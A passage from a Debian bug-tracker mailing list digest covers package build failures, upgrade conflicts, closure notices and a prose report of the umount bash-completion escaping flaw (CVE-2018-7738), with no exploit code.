drbd  . . . . . . . . yes
email . . . . . . . . yes
entropy . . . . . . . yes
ethstat . . . . . . . yes
exec  . . . . . . . . yes
fhcount . . . . . . . yes
filecount . . . . . . yes
fscache . . . . . . . yes
gmond . . . . . . . . yes
gps . . . . . . . . . yes
grpc  . . . . . . . . no (dependency error)
hddtemp . . . . . . . yes
hugepages . . . . . . yes
intel_pmu . . . . . . no (disabled on command line)
intel_rdt . . . . . . no (disabled on command line)
interface . . . . . . yes
ipc . . . . . . . . . yes
ipmi  . . . . . . . . yes
iptables  . . . . . . yes
ipvs  . . . . . . . . yes

Processed: retitle 892179 to util-linux: CVE-2018-7738: code execution in bash-completion for umount

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 892179 util-linux: CVE-2018-7738: code execution in bash-completion 
> for umount
Bug #892179 [src:util-linux] code execution in bash-completion for umount
Changed Bug title to 'util-linux: CVE-2018-7738: code execution in 
bash-completion for umount' from 'code execution in bash-completion for umount'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892179: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892179
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891114: marked as done (activemq: B-D libjosql-java-doc is no longer available)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 21:19:44 +
with message-id 
and subject line Bug#891114: fixed in activemq 5.15.3-1
has caused the Debian Bug report #891114,
regarding activemq: B-D libjosql-java-doc is no longer available
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891114: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891114
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: activemq
Version: 5.15.2-2
Severity: serious
Justification: fails to build from source

libjosql-java-doc is no longer built by src:josql


Andreas
--- End Message ---
--- Begin Message ---
Source: activemq
Source-Version: 5.15.3-1

We believe that the bug you reported is fixed in the latest version of
activemq, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Markus Koschany  (supplier of updated activemq package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 20:26:39 +0100
Source: activemq
Binary: libactivemq-java libactivemq-java-doc activemq
Architecture: source
Version: 5.15.3-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Java Maintainers 

Changed-By: Markus Koschany 
Description:
 activemq   - Java message broker - server
 libactivemq-java - Java message broker core libraries
 libactivemq-java-doc - Java message broker core libraries - documentation
Closes: 890352 891114
Changes:
 activemq (5.15.3-1) unstable; urgency=medium
 .
   * Team upload.
   * New upstream version 5.15.3.
 - Fix CVE-2017-15709: Information Leak
   When using the OpenWire protocol it was found that certain system details
   (such as the OS and kernel version) are exposed as plain text. Thanks to
   Salvatore Bonaccorso for the report. (Closes: 890352)
   * Remove libjosql-java-doc from B-D because it is gone.
 Thanks to Andreas Beckmann for the report. (Closes: #891114)
   * Use compat level 11.
   * Declare compliance with Debian Policy 4.1.3.
   * Install NOTICE file.
Checksums-Sha1:
 d250b96f371ad2354e82fd3dbb15807577ba0b41 3757 activemq_5.15.3-1.dsc
 e13950554067ec47c49fa09ebf2683cb5c76008c 2656956 activemq_5.15.3.orig.tar.xz
 0b85e11c0340e423f21d8fc7ad4c6fa77f4d2711 15352 activemq_5.15.3-1.debian.tar.xz
 457610c3b5bd074f03b3620bbaba64280c8fb78a 18730 
activemq_5.15.3-1_amd64.buildinfo
Checksums-Sha256:
 bc32fe02f1059c3f23d8d50c10356af6e867dfa94bc80974359b3cc461b2b215 3757 
activemq_5.15.3-1.dsc
 c61943b3be7a12e9fa75e1bac9756348dfabb39d1c40053e455df804f564ba47 2656956 
activemq_5.15.3.orig.tar.xz
 9b3f8ade5e8b527f0696ec4d61241e392d975c529593cdd54c678bceee4cf873 15352 
activemq_5.15.3-1.debian.tar.xz
 7a7892e19c8899d28c9b8352a72f4e5112fc0427b00f492e77899f27bb7d30f7 18730 
activemq_5.15.3-1_amd64.buildinfo
Files:
 f0e0d9e15376a6200a24350b23ba5fbc 3757 java optional activemq_5.15.3-1.dsc
 7d701971495dc68cfe5339d629c8636d 2656956 java optional 
activemq_5.15.3.orig.tar.xz
 14004db17bcbc1daab8f27cab0534b39 15352 java optional 
activemq_5.15.3-1.debian.tar.xz
 6e80aae2b79b0549f947b6787e99050b 18730 java optional 
activemq_5.15.3-1_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQKjBAEBCgCNFiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAlqe8z9fFIAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD
RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQPHGFwb0BkZWJp
YW4ub3JnAAoJENmtFLlRO1HkWEgQAKnGa8w6TzGsRwIN0uHd+jSmICke9TmSmMLM
hVYpzq5l3LHCXov226Qb97ElrjKSO3TupXBo4gVx7AtChXU7EbDsqVNx43sGK8fY
qS4MtZ5UcKVHCcRCGzkVi2LPNjMJEtAQYz3s1kvIVhKs0/u6/3vM9qzf3pHPSRId
R4qEM1LhkqTZAFuIo58Y86+cccS18oSWbVIXDOV/ONVDrFvFczNYFwYIgN39x24q
E47LLxJAS3NQRQv+K2rCNo8VC3NvTqxd5De9eflzM9NGG3JmLMuNJ4zTfFR0It4y
R7YlgR8rM9FMNVCr2Pdc7fRT9GoxijtrbgtjAdh+F2lt8wXvjOLAfAixrSzrpe05
z+mmI0tY9z6CCybzAzLg+N2Kys7y2mGxcch1p3JpiAotZT8IyFjm4uGoyfNnO/5P
2kjH15FTbX7gHGFq/vWZxprnYq6PmA0bCLCharEHXNia8D35+mQsqGUsIcY0FcCJ
OGIYqUUxgPxkW8dtgpSCPmR/Lg0dqansEotg8pJc1nACImqmgVu1/Tdh+z+WQVYz
bvRIMdhABpBaljb5XnwAqBCd3iheHeKA74wAxFBx09u+nCUEeQYzTF7kN73teOqX

Bug#892215: libxcb FTBFS: KeyError: 'eventstruct'

[Helmut Grohne]

Source: libxcb
Version: 1.12-1
Severity: serious
Justification: FTBFS
User: helm...@debian.org
Usertags: rebootstrap

Since a few days(?), libxcb FTBFS. The build ends with:

| make[1]: Entering directory '/<>/build'
| Making all in src
| make[2]: Entering directory '/<>/build/src'
| /usr/bin/python ../../src/c_client.py   -c "libxcb 1.12" -l "X Version 11" \
| -s "3" -p /usr/lib/python2.7/dist-packages \
|  \
| /usr/share/xcb/xproto.xml
| Traceback (most recent call last):
|   File "../../src/c_client.py", line 3294, in 
| from xcbgen.state import Module
|   File "/usr/lib/python2.7/dist-packages/xcbgen/state.py", line 7, in 
| from xcbgen import matcher
|   File "/usr/lib/python2.7/dist-packages/xcbgen/matcher.py", line 12, in 

| from xcbgen.xtypes import *
|   File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1221, in 

| class EventStruct(Union):
|   File "/usr/lib/python2.7/dist-packages/xcbgen/xtypes.py", line 1239, in 
EventStruct
| out = __main__.output['eventstruct']
| KeyError: 'eventstruct'
| make[2]: *** [Makefile:1290: xproto.c] Error 1
| make[2]: Leaving directory '/<>/build/src'
| make[1]: *** [Makefile:787: all-recursive] Error 1
| make[1]: Leaving directory '/<>/build'
| dh_auto_build: cd build && make -j1 returned exit code 2
| make: *** [debian/rules:17: build-arch] Error 2
| dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit 
status 2

libxcb wasn't uploaded in a while. Very likely, the cause lies
elsewhere. The earliest failure I have seen was Tue, 6 Mar 2018 06:31:35
(UTC), so it should be close to the dinstall prior to that. Could it be
the xcb-proto/1.13-1 upload?

Helmut

Bug#858936: [Pkg-kannel-devel] Bug#858936: kannel: Please migrate to openssl1.1 in buster [patch]

[Jonas Smedegaard]

Quoting Frans van Berckel (2018-03-06 20:49:14)
> Nice to know, upstream officially changed the sources
> 
> * added support for openssl version > 1.1
> 
> https://redmine.kannel.org/projects/kannel/repository/revisions/5201

Great!  thanks for pointing it out!

 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private


signature.asc
Description: signature

Processed: Re: Bug#892179: code execution in bash-completion for umount

[Debian Bug Tracking System]

Processing control commands:

> reassign -1 src:util-linux 2.29.2-1
Bug #892179 [bash-completion] code execution in bash-completion for umount
Bug reassigned from package 'bash-completion' to 'src:util-linux'.
No longer marked as found in versions bash-completion/1:2.1-4.3.
Ignoring request to alter fixed versions of bug #892179 to the same values 
previously set
Bug #892179 [src:util-linux] code execution in bash-completion for umount
Marked as found in versions util-linux/2.29.2-1.
> tags -1 + upstream fixed-upstream
Bug #892179 [src:util-linux] code execution in bash-completion for umount
Added tag(s) upstream and fixed-upstream.

-- 
892179: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892179
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892179: code execution in bash-completion for umount

[Salvatore Bonaccorso]

Control: reassign -1 src:util-linux 2.29.2-1
Control: tags -1 + upstream fixed-upstream

Hi Björn

Thanks for reporting the issue!

On Tue, Mar 06, 2018 at 02:44:39PM +0100, Björn Bosselmann wrote:
> Package: bash-completion
> Version: 1:2.1-4.3
> Severity: grave
> Tags: security
> 
> Hi,
> 
> when bash-completion is installed, it uses
> /usr/share/bash-completion/completions/umount from umount package to
> provide autocompletion. This script does not escape mount paths
> correctly, so it allows a local user with rights to mount filesystems to
> execute commands in the context of the umount user (probably root).
> Unprivileged users can mount filesystems with custom mountpoints using
> udisks2, FUSE or with the help of desktop environments.

The umount completion is actually provided by util-linux (since 2.28-1
where it took over from bash-completion itself). I'm thus reassigning
it to src:util-linux. Then if the issue is present as well in
bash-completion earlier than 1:2.1-4.3, then 1:2.1-4.3 removed the
completion and would not be affected in the resulting binary packages
(source still might be).

Regards,
Salvatore

Bug#891114: Pending fixes for bugs in the activemq package

[pkg-java-maintainers]

tag 891114 + pending
thanks

Some bugs in the activemq package are closed in revision
2b45bbb3a1fc853f48cf68fdf6e396d9c1b3da8f in branch 'master' by Markus
Koschany

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-java/activemq.git/commit/?id=2b45bbb

Commit message:

Remove libjosql-java-doc from B-D because it is gone.

Closes: #891114
Thanks: Andreas Beckmann for the report.

Processed: Pending fixes for bugs in the activemq package

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tag 891114 + pending
Bug #891114 [activemq] activemq: B-D libjosql-java-doc is no longer available
Added tag(s) pending.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
891114: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891114
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891957: netbeans no starting "loading module" modules.netbinox NullPointerException

[Patrick Häcker]

Hi,

> I suspect this is because of the recent update of libequinox-osgi-java.
your suspicion is correct. Downgrading libequinox-osgi-java with
> apt install libequinox-osgi-java/stable
fixes the issue (although it removes eclipse if that is not downgraded as 
well).

Kind regards
Patrick

signature.asc
Description: This is a digitally signed message part.

Bug#858936: kannel: Please migrate to openssl1.1 in buster [patch]

[Frans van Berckel]

Nice to know, upstream officially changed the sources

* added support for openssl version > 1.1

https://redmine.kannel.org/projects/kannel/repository/revisions/5201

Thanks,

-- 
Frans van Berckel
Media Engineer / Linux Master
LinkedIn: https://www.linkedin.com/in/fransvberckel/

Bug#891012: marked as done (kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - trying to overwrite usr/share/kicad/*)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 18:52:33 +
with message-id 
and subject line Bug#891012: fixed in kicad-symbols 5.0.0~rc1-1
has caused the Debian Bug report #891012,
regarding kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - 
trying to overwrite usr/share/kicad/*
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891012: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891012
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: kicad-footprints,kicad-symbols,kicad-templates
Version: 0~2018.01.27-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package kicad-footprints.
  Preparing to unpack .../kicad-footprints_0~2018.01.27-1_all.deb ...
  Unpacking kicad-footprints (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/template/fp-lib-table', which is also 
in package kicad-common 4.0.7+dfsg1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-symbols.
  Preparing to unpack .../kicad-symbols_0~2018.01.27-1_all.deb ...
  Unpacking kicad-symbols (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/library/Power_Management.dcm', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-templates.
  Preparing to unpack .../kicad-templates_0~2018.01.27-1_all.deb ...
  Unpacking kicad-templates (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite 
'/usr/share/kicad/template/Arduino_As_Uno_R3/Arduino_As_Uno-cache.lib', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb


cheers,

Andreas


kicad-common=4.0.7+dfsg1-1_kicad-footprints=0~2018.01.27-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: kicad-symbols
Source-Version: 5.0.0~rc1-1

We believe that the bug you reported is fixed in the latest version of
kicad-symbols, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Carsten Schoenert  (supplier of updated kicad-symbols 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 19:17:05 +0100
Source: kicad-symbols
Binary: kicad-symbols
Architecture: source
Version: 5.0.0~rc1-1
Distribution: experimental
Urgency: medium
Maintainer: Debian Electronics Team 

Changed-By: Carsten Schoenert 
Description:
 kicad-symbols - Schematic symbols for KiCad's Eeschema
Closes: 891012
Changes:
 kicad-symbols (5.0.0~rc1-1) experimental; urgency=medium
 .
   * [3dc11bf] d/control: fixup VCS URLs
   * [357b8d1] New upstream version 5.0.0~rc1
   * [593d7e9] d/control: adjusting B+R against previous kicad{-common} pkg
 (Closes: #891012)
Checksums-Sha1:
 859e14948b117bd25597b7cb3e009c05d48a8de2 2113 kicad-symbols_5.0.0~rc1-1.dsc
 

Bug#891012: marked as done (kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - trying to overwrite usr/share/kicad/*)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 18:52:39 +
with message-id 
and subject line Bug#891012: fixed in kicad-templates 5.0.0~rc1-1
has caused the Debian Bug report #891012,
regarding kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - 
trying to overwrite usr/share/kicad/*
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891012: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891012
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: kicad-footprints,kicad-symbols,kicad-templates
Version: 0~2018.01.27-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package kicad-footprints.
  Preparing to unpack .../kicad-footprints_0~2018.01.27-1_all.deb ...
  Unpacking kicad-footprints (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/template/fp-lib-table', which is also 
in package kicad-common 4.0.7+dfsg1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-symbols.
  Preparing to unpack .../kicad-symbols_0~2018.01.27-1_all.deb ...
  Unpacking kicad-symbols (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/library/Power_Management.dcm', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-templates.
  Preparing to unpack .../kicad-templates_0~2018.01.27-1_all.deb ...
  Unpacking kicad-templates (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite 
'/usr/share/kicad/template/Arduino_As_Uno_R3/Arduino_As_Uno-cache.lib', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb


cheers,

Andreas


kicad-common=4.0.7+dfsg1-1_kicad-footprints=0~2018.01.27-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: kicad-templates
Source-Version: 5.0.0~rc1-1

We believe that the bug you reported is fixed in the latest version of
kicad-templates, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Carsten Schoenert  (supplier of updated 
kicad-templates package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Mon, 05 Mar 2018 20:45:39 +0100
Source: kicad-templates
Binary: kicad-templates
Architecture: source
Version: 5.0.0~rc1-1
Distribution: experimental
Urgency: medium
Maintainer: Debian Electronics Team 

Changed-By: Carsten Schoenert 
Description:
 kicad-templates - Project templates for KiCad
Closes: 891012
Changes:
 kicad-templates (5.0.0~rc1-1) experimental; urgency=medium
 .
   * [1992a85] d/control: fixup VCS URLs
   * [6c141de] New upstream version 5.0.0~rc1
   * [c7f533a] delete previous used patch queue
   * [0314253] d/control: adjusting B+R against previous kicad{-common} pkg
 (Closes: #891012)
Checksums-Sha1:
 

Bug#891012: marked as done (kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - trying to overwrite usr/share/kicad/*)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 18:50:02 +
with message-id 
and subject line Bug#891012: fixed in kicad-footprints 5.0.0~rc1-1
has caused the Debian Bug report #891012,
regarding kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - 
trying to overwrite usr/share/kicad/*
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891012: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891012
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: kicad-footprints,kicad-symbols,kicad-templates
Version: 0~2018.01.27-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package kicad-footprints.
  Preparing to unpack .../kicad-footprints_0~2018.01.27-1_all.deb ...
  Unpacking kicad-footprints (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/template/fp-lib-table', which is also 
in package kicad-common 4.0.7+dfsg1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-symbols.
  Preparing to unpack .../kicad-symbols_0~2018.01.27-1_all.deb ...
  Unpacking kicad-symbols (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/library/Power_Management.dcm', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-templates.
  Preparing to unpack .../kicad-templates_0~2018.01.27-1_all.deb ...
  Unpacking kicad-templates (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite 
'/usr/share/kicad/template/Arduino_As_Uno_R3/Arduino_As_Uno-cache.lib', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb


cheers,

Andreas


kicad-common=4.0.7+dfsg1-1_kicad-footprints=0~2018.01.27-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: kicad-footprints
Source-Version: 5.0.0~rc1-1

We believe that the bug you reported is fixed in the latest version of
kicad-footprints, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Carsten Schoenert  (supplier of updated 
kicad-footprints package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 17:52:52 +0100
Source: kicad-footprints
Binary: kicad-footprints
Architecture: source
Version: 5.0.0~rc1-1
Distribution: experimental
Urgency: medium
Maintainer: Debian Electronics Team 

Changed-By: Carsten Schoenert 
Description:
 kicad-footprints - Footprint symbols for KiCad's Pcbnew
Closes: 891012
Changes:
 kicad-footprints (5.0.0~rc1-1) experimental; urgency=medium
 .
   * [725346e] d/control: fixup VCS URLs
   * [6cf13ba] New upstream version 5.0.0~rc1
   * [4355ccb] d/control: adjusting B+R against previous kicad{-common} pkg
 (Closes: #891012)
   * [c454efd] delete previous used patch queue
Checksums-Sha1:
 

Bug#892207: blender: fails to start

[Pelle Hjek]

Package: blender
Version: 2.79+dfsg0-3+b2
Severity: grave
Justification: renders package unusable

Dear Maintainer,

After upgrading to Buster, Blender fails to start, and reports this
message:
```
Error! Blender requires OpenGL 2.1 to run. Try updating your drivers.
```

Blender worked fine just before in Stretch on the same computer.

Here is the output of `glxinfo`:

```
name of display: :0
display: :0  screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.4
server glx extensions:
GLX_ARB_create_context, GLX_ARB_create_context_profile, 
GLX_ARB_fbconfig_float, GLX_ARB_framebuffer_sRGB, GLX_ARB_multisample, 
GLX_EXT_create_context_es2_profile, GLX_EXT_create_context_es_profile, 
GLX_EXT_fbconfig_packed_float, GLX_EXT_framebuffer_sRGB, 
GLX_EXT_import_context, GLX_EXT_libglvnd, GLX_EXT_texture_from_pixmap, 
GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_INTEL_swap_event, 
GLX_MESA_copy_sub_buffer, GLX_OML_swap_method, GLX_SGIS_multisample, 
GLX_SGIX_fbconfig, GLX_SGIX_pbuffer, GLX_SGIX_visual_select_group, 
GLX_SGI_make_current_read, GLX_SGI_swap_control
client glx vendor string: Mesa Project and SGI
client glx version string: 1.4
client glx extensions:
GLX_ARB_create_context, GLX_ARB_create_context_profile, 
GLX_ARB_create_context_robustness, GLX_ARB_fbconfig_float, 
GLX_ARB_framebuffer_sRGB, GLX_ARB_get_proc_address, GLX_ARB_multisample, 
GLX_EXT_buffer_age, GLX_EXT_create_context_es2_profile, 
GLX_EXT_create_context_es_profile, GLX_EXT_fbconfig_packed_float, 
GLX_EXT_framebuffer_sRGB, GLX_EXT_import_context, 
GLX_EXT_texture_from_pixmap, GLX_EXT_visual_info, GLX_EXT_visual_rating, 
GLX_INTEL_swap_event, GLX_MESA_copy_sub_buffer, 
GLX_MESA_multithread_makecurrent, GLX_MESA_query_renderer, 
GLX_MESA_swap_control, GLX_OML_swap_method, GLX_OML_sync_control, 
GLX_SGIS_multisample, GLX_SGIX_fbconfig, GLX_SGIX_pbuffer, 
GLX_SGIX_visual_select_group, GLX_SGI_make_current_read, 
GLX_SGI_swap_control, GLX_SGI_video_sync
GLX version: 1.4
GLX extensions:
GLX_ARB_create_context, GLX_ARB_create_context_profile, 
GLX_ARB_fbconfig_float, GLX_ARB_framebuffer_sRGB, 
GLX_ARB_get_proc_address, GLX_ARB_multisample, 
GLX_EXT_create_context_es2_profile, GLX_EXT_create_context_es_profile, 
GLX_EXT_fbconfig_packed_float, GLX_EXT_framebuffer_sRGB, 
GLX_EXT_import_context, GLX_EXT_texture_from_pixmap, GLX_EXT_visual_info, 
GLX_EXT_visual_rating, GLX_INTEL_swap_event, GLX_MESA_copy_sub_buffer, 
GLX_MESA_multithread_makecurrent, GLX_MESA_query_renderer, 
GLX_MESA_swap_control, GLX_OML_swap_method, GLX_OML_sync_control, 
GLX_SGIS_multisample, GLX_SGIX_fbconfig, GLX_SGIX_pbuffer, 
GLX_SGIX_visual_select_group, GLX_SGI_make_current_read, 
GLX_SGI_swap_control, GLX_SGI_video_sync
Extended renderer info (GLX_MESA_query_renderer):
Vendor: Intel Open Source Technology Center (0x8086)
Device: Mesa DRI Intel(R) 945GME x86/MMX/SSE2 (0x27ae)
Version: 17.3.6
Accelerated: yes
Video memory: 192MB
Unified memory: yes
Preferred profile: compat (0x2)
Max core profile version: 0.0
Max compat profile version: 1.4
Max GLES1 profile version: 1.1
Max GLES[23] profile version: 2.0
OpenGL vendor string: Intel Open Source Technology Center
OpenGL renderer string: Mesa DRI Intel(R) 945GME x86/MMX/SSE2
OpenGL version string: 1.4 Mesa 17.3.6
OpenGL extensions:
GL_3DFX_texture_compression_FXT1, GL_AMD_shader_trinary_minmax, 
GL_ANGLE_texture_compression_dxt3, GL_ANGLE_texture_compression_dxt5, 
GL_APPLE_object_purgeable, GL_APPLE_packed_pixels, 
GL_ARB_ES2_compatibility, GL_ARB_clear_buffer_object, 
GL_ARB_compressed_texture_pixel_storage, GL_ARB_copy_buffer, 
GL_ARB_debug_output, GL_ARB_depth_texture, GL_ARB_draw_buffers, 
GL_ARB_draw_elements_base_vertex, GL_ARB_explicit_attrib_location, 
GL_ARB_explicit_uniform_location, GL_ARB_fragment_program, 
GL_ARB_fragment_shader, GL_ARB_framebuffer_object, 
GL_ARB_get_program_binary, GL_ARB_get_texture_sub_image, 
GL_ARB_half_float_pixel, GL_ARB_internalformat_query, 
